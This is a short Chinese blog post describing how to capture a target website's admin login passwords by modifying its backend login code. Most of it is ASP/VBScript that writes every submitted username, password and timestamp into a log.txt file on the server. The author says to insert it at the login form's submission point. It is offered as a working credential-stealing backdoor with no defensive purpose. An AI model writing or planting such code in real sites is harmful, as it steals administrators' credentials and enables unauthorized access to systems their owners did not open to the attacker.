通过修改后台登陆代码获得目标网站的用户登录密码。
 
 
 
具体代码：
 
set fso=server.createobject("scripting.filesystemobject")
  
if fso.FileExists(server.mappath("log.txt"))=true then
 
     set fin=fso.OpenTextFile(server.mappath("log.txt"))
 
 
    temp=fin.readall
 
 
    fin.close www.2cto.com
 
 
    set fin=nothing
 
  
 
end if
 
set fout=fso.createtextfile(server.mappath("log.txt"))
 
 
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
 
set fso=nothing
 
 
 
 
在后台登录处表单提交的地方插入

作者 乐乐's Blog